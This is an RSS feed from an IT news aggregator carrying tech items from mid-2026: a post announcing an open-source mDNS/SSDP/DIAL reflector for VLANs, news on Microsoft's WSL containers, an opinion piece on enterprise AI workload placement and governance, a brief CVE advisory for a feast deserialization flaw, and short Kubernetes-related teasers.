<link>https://tsecurity.de/de/3637201/linux-tipps/reflector-bridge-mdnsssdpwake-on-lan-across-vlans-including-the-dial-proxy-that-makes-casting-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637201/linux-tipps/reflector-bridge-mdnsssdpwake-on-lan-across-vlans-including-the-dial-proxy-that-makes-casting-work/</guid>
<pubDate>Wed, 01 Jul 2026 03:38:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Disclosure: I wrote this — open source, Apache-2.0.</p> <p><strong>TL;DR:</strong> mDNS reflectors fix <em>discovery</em> across VLANs but not <em>casting</em>. reflector adds the SSDP + DIAL bits so Chromecast/AirPlay/YouTube/Netflix casting actually works between segments.</p> <p>Segmented networks (separate VLANs for IoT/guest/trusted) break service discovery: mDNS and SSDP ride multicast that routers don't forward, so Chromecast, AirPlay, DLNA, printers, and Sonos stop appearing across segments.</p> <p>The usual fix — an mDNS reflector (Avahi, the UniFi/pfSense/OPNsense toggle, RouterOS's built-in repeater) — restores <em>discovery</em> but not <em>casting</em>. A DIAL device (the YouTube/Netflix "cast" target) serves its device description and REST control endpoints only to its own subnet, so a client on another VLAN sees the TV but can't drive it.</p> <p><strong>reflector adds the parts the mDNS-only options miss:</strong> SSDP M-SEARCH relay and a DIAL proxy, so the cast actually launches and stops across VLANs. It also does mDNS and WoL, so it can replace your reflector rather than sit next to it.</p> <p>What it does:</p> <ul> <li><strong>mDNS reflection</strong> — Bonjour/Avahi discovery (AirPlay, printers, Chromecast) across the two segments.</li> <li><strong>DIAL proxy (opt-in)</strong> — a terminating HTTP reverse proxy that rewrites the device's LOCATION/description URLs and connects upstream bound to the device's subnet, so it sees an on-subnet client. This is what makes cast launch/stop work.</li> <li><strong>Wake-on-LAN</strong> across segments.</li> <li><strong>Per-device MAC filter</strong> — expose one device, or omit it to mirror the whole segment.</li> </ul> <p>Config is interface-based, no IPs:</p> <pre><code>[reflectors.tv] source_if = "vlan-trusted" target_if = "vlan-iot" mac = "B0:37:95:C5:60:BE" # optional; omit to mirror the whole segment wol = true mdns = true ssdp = true dial = true # requires ssdp; IPv4 only </code></pre> <p>Every option also has an env-var form, which is easier with containers:</p> <pre><code>REFLECTOR_TV_SOURCE_IF=vlan-trusted REFLECTOR_TV_TARGET_IF=vlan-iot REFLECTOR_TV_MAC=B0:37:95:C5:60:BE REFLECTOR_TV_WOL=true REFLECTOR_TV_MDNS=true REFLECTOR_TV_SSDP=true REFLECTOR_TV_DIAL=true </code></pre> <p>Deploys as a single static binary or a tiny container — prebuilt multi-arch images (amd64/arm64/armv7/armv5), uses under 5 MB RAM.</p> <p><strong>Security:</strong> it doesn't merge VLANs. It relays only mDNS/SSDP/WoL on the interface pair you name, and the MAC filter scopes the exposed direction to one device. The DIAL proxy does expose that device's HTTP control endpoint to the source side, and the daemon parses untrusted mDNS/SSDP/HTTP. Tested with ASan+UBSan, Valgrind memcheck, and Docker e2e over real veth/feth pairs.</p> <p>Single binary, Linux, FreeBSD, macOS. Linux runs unprivileged with CAP_NET_RAW; FreeBSD and macOS need root (or the ChmodBPF helper). mDNS, SSDP, and WoL run on both IPv4 and IPv6 (IPv6 best-effort by default, or required per entry). DIAL is IPv4-only because the DIAL spec ties the device's authority to an IPv4 address.</p> <p><a href="https://github.com/sbogomolov/reflector">https://github.com/sbogomolov/reflector</a> — Apache-2.0</p> <p>Feedback welcome, especially on the SSDP/DIAL handling.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/s3rgb"> /u/s3rgb </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uk5nqx/reflector_bridge_mdnsssdpwakeonlan_across_vlans/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uk5nqx/reflector_bridge_mdnsssdpwakeonlan_across_vlans/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Microsoft Previews Linux Containers That Run In Windows]]></title>
<description><![CDATA[Microsoft has released a public preview of Windows Subsystem for Linux (WSL) containers, adding a built-in command-line tool and API for running Linux containers directly inside Windows applications without third-party software. The update also introduces faster file access, improved networking a...]]></description>
<link>https://tsecurity.de/de/3636552/linux-tipps/microsoft-previews-linux-containers-that-run-in-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636552/linux-tipps/microsoft-previews-linux-containers-that-run-in-windows/</guid>
<pubDate>Tue, 30 Jun 2026 20:09:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft has released a public preview of Windows Subsystem for Linux (WSL) containers, adding a built-in command-line tool and API for running Linux containers directly inside Windows applications without third-party software. The update also introduces faster file access, improved networking and memory management, plus integration with Defender, Intune, and VS Code. The Register reports: WSL has always been a handy way to run Linux workloads from Windows, and is particularly convenient for Linux developers who must comply with corporate edicts to use a Windows device. The CLI for end-to-end container workflows furthers this. Microsoft stated, "WSL containers make it easier for developers and organizations to build, test, and run containerized workloads while benefiting from the security, manageability, and integration of the Windows platform." 
Alternatively, you could run your preferred Linux distribution natively, but that might not be an option, particularly if an organization is keen on the "security, manageability, and integration of the Windows platform." And this is an important point. WSL's existing Microsoft Defender for Endpoint (MDE) has been updated (in private preview) to be aware of Linux container events, and there are settings in Intune for managing WSL containers. Support is also in a pre-release version of VS Code, where the Docker path in the dev container settings can be changed to wslc.
 
There is also a new default file system for WSL container that Microsoft claims makes Windows file access twice the speed. So, going from terribly slow to just slow? We'll wait until general availability is reached before passing judgment. There's a new default networking mode to improve compatibility and better memory reclaim techniques. However, none of these tweaks will be enabled by default in WSL. Microsoft wrote, "Since these changes touch mission critical paths like file system access and network, for now they are enabled just in WSL container."<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/06/30/1742233/microsoft-previews-linux-containers-that-run-in-windows?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Microsoft previews Linux containers that run in Windows]]></title>
<description><![CDATA[Linux container CLI and API for Windows applications]]></description>
<link>https://tsecurity.de/de/3636121/it-nachrichten/microsoft-previews-linux-containers-that-run-in-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636121/it-nachrichten/microsoft-previews-linux-containers-that-run-in-windows/</guid>
<pubDate>Tue, 30 Jun 2026 17:33:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linux container CLI and API for Windows applications]]></content:encoded>
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<title><![CDATA[OpenShift-Alternativen]]></title>
<description><![CDATA[Red Hat OpenShift zählt zu den führenden Kubernetes-Plattformen. Auf Basis der Software bauen große Unternehmen verteilte Anwendungs- und Entwicklungsumgebungen auf. Doch der Preis für die Mächtigkeit liegt in der Komplexität des Systems. Glücklicherweise existiert heutzutage eine Reihe spannende...]]></description>
<link>https://tsecurity.de/de/3635782/server/openshift-alternativen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635782/server/openshift-alternativen/</guid>
<pubDate>Tue, 30 Jun 2026 15:45:20 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/Openshift-Alternativen.png" width="1679" height="937" alt=""><br>Red Hat OpenShift zählt zu den führenden Kubernetes-Plattformen. Auf Basis der Software bauen große Unternehmen verteilte Anwendungs- und Entwicklungsumgebungen auf. Doch der Preis für die Mächtigkeit liegt in der Komplexität des Systems. Glücklicherweise existiert heutzutage eine Reihe spannender OpenShift-Alternativen. Wir stellen die besten davon vor.]]></content:encoded>
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<title><![CDATA[Veraltete Software in Container-Images - Die unsichtbare Angriffsfläche in deutschen Cloud ...]]></title>
<description><![CDATA[Qualys erweitert die EOL/EOS-Softwareerkennung seiner CSAM-Plattform (Cybersecurity-Asset-Management) auf Container-Images und Kubernetes-Workloads.]]></description>
<link>https://tsecurity.de/de/3635773/it-security-nachrichten/veraltete-software-in-container-images-die-unsichtbare-angriffsflaeche-in-deutschen-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635773/it-security-nachrichten/veraltete-software-in-container-images-die-unsichtbare-angriffsflaeche-in-deutschen-cloud/</guid>
<pubDate>Tue, 30 Jun 2026 15:37:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Qualys erweitert die EOL/EOS-Softwareerkennung seiner CSAM-Plattform (Cybersecurity-Asset-Management) auf Container-Images und Kubernetes-Workloads.]]></content:encoded>
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<title><![CDATA[End-of-Life-Software in Kubernetes-Umgebungen wird zum Compliance - Infopoint Security]]></title>
<description><![CDATA[Container-Technologien haben sich vom Spezialthema zum Standard moderner IT-Infrastrukturen entwickelt. Immer mehr Unternehmen betreiben ...]]></description>
<link>https://tsecurity.de/de/3635397/it-security-nachrichten/end-of-life-software-in-kubernetes-umgebungen-wird-zum-compliance-infopoint-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635397/it-security-nachrichten/end-of-life-software-in-kubernetes-umgebungen-wird-zum-compliance-infopoint-security/</guid>
<pubDate>Tue, 30 Jun 2026 13:23:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Container-Technologien haben sich vom Spezialthema zum Standard moderner <b>IT</b>-Infrastrukturen entwickelt. Immer mehr Unternehmen betreiben ...]]></content:encoded>
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<title><![CDATA[AI is exposing the real limits of enterprise cloud strategy]]></title>
<description><![CDATA[Across the global corporations, I advise, in financial services, healthcare, retail and the public sector, the same crisis surfaces in leadership meetings. Executives approved a bold AI roadmap. Cloud spending climbed 40, 50, even 70 percent. And yet the AI workloads that made perfect sense in th...]]></description>
<link>https://tsecurity.de/de/3635329/it-security-nachrichten/ai-is-exposing-the-real-limits-of-enterprise-cloud-strategy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635329/it-security-nachrichten/ai-is-exposing-the-real-limits-of-enterprise-cloud-strategy/</guid>
<pubDate>Tue, 30 Jun 2026 13:06:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Across the global corporations, I advise, in financial services, healthcare, retail and the public sector, the same crisis surfaces in leadership meetings. Executives approved a bold AI roadmap. Cloud spending climbed 40, 50, even 70 percent. And yet the AI workloads that made perfect sense in the boardroom presentation now stall, overshoot their budgets or collapse under production load before they reach real users.</p>



<p>I am writing this just after the spring 2026 conference season, and the signal from <a href="https://cloud.google.com/blog/topics/google-cloud-next/google-cloud-next-2026-wrap-up" rel="nofollow">Google Cloud Next</a>, <a href="https://news.microsoft.com/build-2026/" rel="nofollow">Microsoft Build</a>, and a run of <a href="https://aws.amazon.com/events/summits/" rel="nofollow">AWS summits</a> only sharpens the point. Over the past several weeks the industry shipped, in production form, the infrastructure to run and govern AI at scale. What most enterprises still lack is the operating model to decide how to use it.</p>



<p>The problem is not the AI models. The models work. The problem is that organizations built their AI ambitions on cloud strategies designed for a world that no longer exists: strategies built for SaaS applications, predictable traffic and linear cost curves. AI workloads break all three assumptions at once.</p>



<h2 class="wp-block-heading">Why AI breaks traditional cloud assumptions</h2>



<p>For a decade, cloud-first served enterprises well. It delivered elasticity, reduced capital expenditure and democratized access to compute, because enterprise workloads were predictable: web applications, ERP systems, databases and analytics pipelines that scaled smoothly and billed in ways finance could model on a spreadsheet. GenAI and agentic AI change every one of those assumptions at once.</p>



<p>When organizations move AI into production, real inference, retrieval pipelines, vector search and real-time decisioning, the cloud equation breaks in at least five ways:</p>



<ol class="wp-block-list">
<li>Training clusters demand power densities far above standard compute.</li>



<li>Inference needs millisecond latency that network geography can defeat.</li>



<li>Vector databases generate cost spikes invisible in standard billing.</li>



<li>Agentic workloads chain hundreds of tool calls with cascading dependencies.</li>



<li>And data-sovereignty rules constrain where any of them can run.</li>
</ol>



<p>In short, what works at the platform level fails at the workload level.</p>



<p>The costs are the first thing to surprise leaders, because they hide. <a href="https://www.cloudzero.com/blog/ai-cost-management/" rel="nofollow">CloudZero’s analysis</a> and the FinOps teams I work with put it plainly: AI spend surfaces as generic compute, storage and instance line items, rarely labeled “AI.” Three layers drive most of the waste:</p>



<ol class="wp-block-list">
<li>The most visible is LLM API cost, where stateless calls re-send the full conversation history on every request, so a deployment with a couple hundred users can burn many times the token budget in the business case.</li>



<li>The biggest is idle GPU: teams’ provision for peak and then run at 10 to 20 percent utilization, and most miss their AI cost forecasts by more than a quarter.</li>



<li>The most underestimated is the vector database and retrieval layer, where storage I/O, query volume and embedding refresh appear nowhere labeled AI until the bill arrives.</li>
</ol>



<h2 class="wp-block-heading">The dimensions leaders underweight resilience and control</h2>



<p>Cost and latency dominate the conversation. Two dimensions rarely get the same rigor until something breaks:</p>



<ol class="wp-block-list">
<li>Resilience, whether an AI-dependent system can survive failure, degrade gracefully and recover predictably.</li>



<li>Control, who can observe, halt and audit it.</li>
</ol>



<p>AI introduces failure modes that traditional architecture never faced: GPU single points of failure under revenue-critical inference, agentic pipelines that fail mid-execution with no rollback, and models that degrade silently from drift or throttling.</p>



<p>I see the pattern repeated across industries. Organizations design resilience for their traditional applications, then deploy AI on top without asking whether the same guarantees hold. In one global financial services firm I advise, a real-time credit-decisioning model running on a single cloud region took a 47-minute outage during a regional availability event. The halted loan approvals cost more than the system’s entire annual infrastructure budget, and the resilience rework that followed cost several times what designing it in from the start would have. The leaders who avoid this should ask four questions before go-live:</p>



<ol class="wp-block-list">
<li>What happens when the network fails?</li>



<li>What happens when the model degrades?</li>



<li>What happens when an agent executes only halfway?</li>



<li>Who holds the authority to halt and audit?</li>
</ol>



<h2 class="wp-block-heading">What the cloud providers signaled this spring</h2>



<p>The major providers are on track to spend <a href="https://www.statista.com/chart/35046/capital-expenditure-of-meta-alphabet-amazon-and-microsoft/" rel="nofollow">close to $700 billion on AI infrastructure in 2026</a>, roughly three and a half times the 2024 level. Their announcements are strategic signals, not just features. Last year they converged on one message: enterprises cannot run everything in public cloud, so all three built ways to bring their infrastructure into your data center and your sovereign environment. This year the signal advanced a step. They stopped talking about where workloads run and started shipping the layer that governs what agents are allowed to do: identity, containment, auditability and rollback.</p>



<p>Microsoft introduced an “Agent Computer” model with execution containers and machine identity for agents. AWS built <a href="https://aws.amazon.com/blogs/aws/top-announcements-of-aws-reinvent-2025/" rel="nofollow">Amazon Bedrock AgentCore</a> around runtime, memory, identity and auditability. Google shipped an agent gateway and sovereign controls for cross-cloud traffic. As <a href="https://www.bain.com/insights/google_cloud_next_2026_the_agentic_enterprise_control_plane_comes_into_view/" rel="nofollow">Bain observed</a>, agentic AI is now an economics and operations problem, not just a capability problem. The through-line, captured by Microsoft’s own framing, is that AI alone will not change your business; the system running it will. <a href="https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-next-big-shifts-in-ai-workloads-and-hyperscaler-strategies" rel="nofollow">McKinsey’s read</a> is consistent: workloads are becoming more distributed, specialized and operationally demanding, which forces more deliberate infrastructure decisions.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/hyperscaler-convergence-spring-2026.png?w=1024" alt="Hyperscaler convergence, Spring 2026." class="wp-image-4190723" width="1024" height="557" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Vipin Jain</p></div>



<h2 class="wp-block-heading">From platform choice to placement decision</h2>



<p>The failure I document most often is not a technology failure; it is a governance failure. Most enterprises lack a clear, repeatable way to decide what runs where, under what conditions and with what tradeoffs. Platform teams make that call informally, under deadline pressure and repeat it hundreds of times as new use cases launch. Workloads then accumulate in public cloud by default, not by design and 30 to 50 percent cost overruns follow, not because public cloud was the wrong choice but because no deliberate choice was ever made.</p>



<p>In one global manufacturer I advise, a predictive-maintenance model went live on public cloud and performed exactly as validated in staging. But real-time inference on the factory floor ran at 80 to 120 milliseconds across the WAN, when the machine-control system needed under ten. Moving the model to edge nodes fixed the latency, but the company lost most of a quarter of the cost, rework and delayed benefits, and the line had run for weeks on stale recommendations: a control failure that could have caused a safety event. The fix was never more AI talent. It was a structured placement decision at the start, weighing six dimensions:</p>



<ul class="wp-block-list">
<li><strong>Latency: </strong>real-time (under 10 ms, edge or on-prem), interactive (50 to 500 ms, cloud) or batch.</li>



<li><strong>Cost and TCO: </strong>token spend, GPU utilization, vector-database queries, egress and unit economics per workload.</li>



<li><strong>Resilience: </strong>failover architecture, degraded-mode behavior, recovery SLA and rollback policy.</li>



<li><strong>Control: </strong>observability, audit trails, governance authority and the ability to halt or reverse.</li>



<li><strong>Data sensitivity: </strong>sovereignty requirements, privacy and compliance rules, and IP protection.</li>



<li><strong>Integration: </strong>legacy system dependencies, pipeline complexity and data-residency constraints.</li>
</ul>



<p>Run consistently, those dimensions produce a placement pattern like this:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Workload</strong></td><td><strong>Latency</strong></td><td><strong>Cost predictability</strong></td><td><strong>Data sovereignty</strong></td><td><strong>Recommended path</strong></td></tr></thead><tbody><tr><td><strong>Customer-facing chatbot</strong></td><td>200-500 ms</td><td>Medium</td><td>Low risk</td><td>Public cloud, reserved instances</td></tr><tr><td><strong>Real-time fraud detection</strong></td><td>Under 10 ms</td><td>Medium</td><td>High</td><td>On-prem or sovereign private cloud</td></tr><tr><td><strong>Clinical decision support</strong></td><td>100-300 ms</td><td>Predictable</td><td>Critical</td><td>Sovereign cloud or dedicated VPC</td></tr><tr><td><strong>Demand forecasting (batch)</strong></td><td>Hours</td><td>High</td><td>Low risk</td><td>Spot instances or scheduled cloud</td></tr><tr><td><strong>Factory-floor vision AI</strong></td><td>Under 5 ms</td><td>Predictable</td><td>Medium</td><td>Edge node (Azure Local, AWS on-prem)</td></tr><tr><td><strong>Internal knowledge assistant</strong></td><td>1-3 sec</td><td>Variable tokens</td><td>High (IP risk)</td><td>Private cloud with on-prem retrieval</td></tr></tbody></table> </div></figure>



<p>This is no longer optional. <a href="https://www.storagenewsletter.com/2026/03/11/enterprise-survey-finds-93-are-repatriating-ai-workloads-or-evaluating-a-move-away-from-public-cloud/" rel="nofollow">Cloudian’s 2026 enterprise AI infrastructure survey</a> found that 79 percent of enterprises have already moved AI workloads out of public cloud, and 93 percent are repatriating or actively evaluating it, driven by data sovereignty, cost overruns and real-time performance. Repatriation is now the norm, not the exception.</p>



<p>The agentic layer makes discipline urgent. An agent chains 20 to 100 tool calls, each with its own latency, cost and failure mode, so the governance model that works for a chatbot does not work for an autonomous agent approving procurement or onboarding a customer. This spring the providers shipped production infrastructure for exactly this, yet <a href="https://www.deloitte.com/global/en/issues/generative-ai/state-of-ai-in-enterprise.html" rel="nofollow">Deloitte’s 2026 survey</a> of more than 3,000 leaders finds only about one in five companies has a mature governance model for autonomous agents. The platforms solved the mechanism. Most enterprises have not yet written the policy.</p>



<h2 class="wp-block-heading">What the leaders do differently</h2>



<p>The organizations extracting compounding value from AI, not just running experiments, share one discipline: they treat workload placement as a repeatable process, and they build resilience and control in from the start rather than after the first production incident. In practice, they do five things:</p>



<ol class="wp-block-list">
<li>Classify every use case at intake across the six dimensions, before any infrastructure is provisioned.</li>



<li>Separate AI budget lines for experiments, production inference and training, so cost is governable.</li>



<li>Treat unit economics, cost per inference, per query and per agent run, as engineering KPIs, not month-end surprises.</li>



<li>Define repatriation triggers in advance, typically 12 to 18 months of stable volume.</li>



<li>Write an explicit resilience contract, and agentic observability and rollback rules, before scaling.</li>
</ol>



<p>The gap between strategy-ready and infrastructure-ready is the remediation backlog, and most enterprises stall moving from proof of concept to production for exactly this reason. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/tech-trends/2026/ai-infrastructure-compute-strategy.html" rel="nofollow">Deloitte’s tech-trends analysis</a> frames the same shift as the move to inference economics: the bottleneck is infrastructure governance, not model capability.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/ai-governance.png?w=1024" alt="AI infrastructure maturity: The governance gap." class="wp-image-4190724" width="1024" height="555" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Vipin Jain</p></div>



<p><strong>For CIOs, a 90-day agenda. </strong>Five actions separate the leaders from those managing infrastructure crises:</p>



<ol class="wp-block-list">
<li>Audit every AI workload in production across latency, cost, sovereignty, volume, resilience, control and integration.</li>



<li>Separate AI infrastructure budget lines so each workload type is attributable and governable.</li>



<li>Define unit economics by workload and review them as engineering KPIs.</li>



<li>Set a quantitative repatriation evaluation trigger.</li>



<li>Define observability, cost attribution and rollback policy before scaling agents.</li>
</ol>



<h2 class="wp-block-heading">The strategic reframe</h2>



<p>The organizations making real progress on AI are not distinguished by the sophistication of their models or the size of their cloud contracts. One discipline sets them apart: a clear, repeatable way to decide what runs where, under what conditions, with what tradeoffs and what happens when something fails. That discipline is not an IT problem. It is a strategic capability that requires CIO ownership, CFO alignment and executive accountability.</p>



<p>This spring the cloud providers handed enterprises the infrastructure to run and govern AI, and agents, at every tier of the architecture. The gap is no longer supply. It is the operating model to use deliberately. The companies building that model now build the operating foundation for AI at scale. Everyone else builds a remediation backlog. The infrastructure decisions you make in the next 12 months will decide which of those two you become.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[WSL containers now build and run Linux workloads on Windows]]></title>
<description><![CDATA[Containers power a large share of cloud-native applications, AI workloads, and testing and deployment pipelines. Developers working on Windows have long pulled in third-party software to build and run them. That step becomes optional with WSL containers, a feature that…
Read more →
The post WSL c...]]></description>
<link>https://tsecurity.de/de/3634597/it-security-nachrichten/wsl-containers-now-build-and-run-linux-workloads-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634597/it-security-nachrichten/wsl-containers-now-build-and-run-linux-workloads-on-windows/</guid>
<pubDate>Tue, 30 Jun 2026 07:19:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Containers power a large share of cloud-native applications, AI workloads, and testing and deployment pipelines. Developers working on Windows have long pulled in third-party software to build and run them. That step becomes optional with WSL containers, a feature that…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/wsl-containers-now-build-and-run-linux-workloads-on-windows/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/wsl-containers-now-build-and-run-linux-workloads-on-windows/">WSL containers now build and run Linux workloads on Windows</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2025-11157 | feast-dev feast up to 0.53.x YAML File Parser main.py yaml.load deserialization (EUVD-2025-206133)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in feast-dev feast up to 0.53.x. Affected by this vulnerability is the function yaml.load of the file feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py of the component YAML File Parser. The manipulation leads to deserializati...]]></description>
<link>https://tsecurity.de/de/3634579/sicherheitsluecken/cve-2025-11157-feast-dev-feast-up-to-053x-yaml-file-parser-mainpy-yamlload-deserialization-euvd-2025-206133/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634579/sicherheitsluecken/cve-2025-11157-feast-dev-feast-up-to-053x-yaml-file-parser-mainpy-yamlload-deserialization-euvd-2025-206133/</guid>
<pubDate>Tue, 30 Jun 2026 07:08:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/feast-dev:feast">feast-dev feast up to 0.53.x</a>. Affected by this vulnerability is the function <code>yaml.load</code> of the file <em>feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py</em> of the component <em>YAML File Parser</em>. The manipulation leads to deserialization.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2025-11157">CVE-2025-11157</a>. Local access is required to approach this attack. No exploit exists.

It is recommended to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[WSL containers now build and run Linux workloads on Windows]]></title>
<description><![CDATA[Containers power a large share of cloud-native applications, AI workloads, and testing and deployment pipelines. Developers working on Windows have long pulled in third-party software to build and run them. That step becomes optional with WSL containers, a feature that arrived at Microsoft Build ...]]></description>
<link>https://tsecurity.de/de/3634575/it-security-nachrichten/wsl-containers-now-build-and-run-linux-workloads-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634575/it-security-nachrichten/wsl-containers-now-build-and-run-linux-workloads-on-windows/</guid>
<pubDate>Tue, 30 Jun 2026 07:07:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Containers power a large share of cloud-native applications, AI workloads, and testing and deployment pipelines. Developers working on Windows have long pulled in third-party software to build and run them. That step becomes optional with WSL containers, a feature that arrived at Microsoft Build 2026 and reached public preview in the pre-release version of the Windows Subsystem for Linux, build 2.9.3. Installation runs through wsl --update --pre-release or a direct download from GitHub. WSL containers … <a href="https://www.helpnetsecurity.com/2026/06/30/microsoft-linux-wsl-containers/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/30/microsoft-linux-wsl-containers/">WSL containers now build and run Linux workloads on Windows</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft announces the first public preview of WSL Containers (WSLC)]]></title>
<description><![CDATA[submitted by    /u/somerandomxander   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3634374/linux-tipps/microsoft-announces-the-first-public-preview-of-wsl-containers-wslc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634374/linux-tipps/microsoft-announces-the-first-public-preview-of-wsl-containers-wslc/</guid>
<pubDate>Tue, 30 Jun 2026 04:08:31 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/somerandomxander"> /u/somerandomxander </a> <br> <span><a href="https://www.phoronix.com/news/Microsoft-Preview-WSL-WSLC">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uj8zey/microsoft_announces_the_first_public_preview_of/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Simplifying Policy Management with Open Policy Agent Gatekeeper]]></title>
<description><![CDATA[As enterprise Kubernetes adoption scales, platform teams face a fundamental challenge: how do you enforce consistent security and operational policies across dozens of clusters without turning into a bottleneck for developers? Many organizations rely on Open Policy Agent (OPA) Gatekeeper to build...]]></description>
<link>https://tsecurity.de/de/3634167/downloads/simplifying-policy-management-with-open-policy-agent-gatekeeper/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634167/downloads/simplifying-policy-management-with-open-policy-agent-gatekeeper/</guid>
<pubDate>Tue, 30 Jun 2026 00:16:45 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="164" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png 2816w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=300,164 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=768,419 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=1024,559 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=1536,838 1536w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=2048,1117 2048w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/06/Gemini_Generated_Image_bwupmwbwupmwbwup.png?resize=600,327 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>As enterprise Kubernetes adoption scales, platform teams face a fundamental challenge: how do you enforce consistent security and operational policies across dozens of clusters without turning into a bottleneck for developers? Many organizations rely on Open Policy Agent (OPA) Gatekeeper to build these guardrails. It provides a flexible policy framework that can be used to: … <a href="https://blogs.vmware.com/cloud-foundation/2026/06/29/simplifying-policy-management-with-open-policy-agent-gatekeeper/">Continued</a></p>
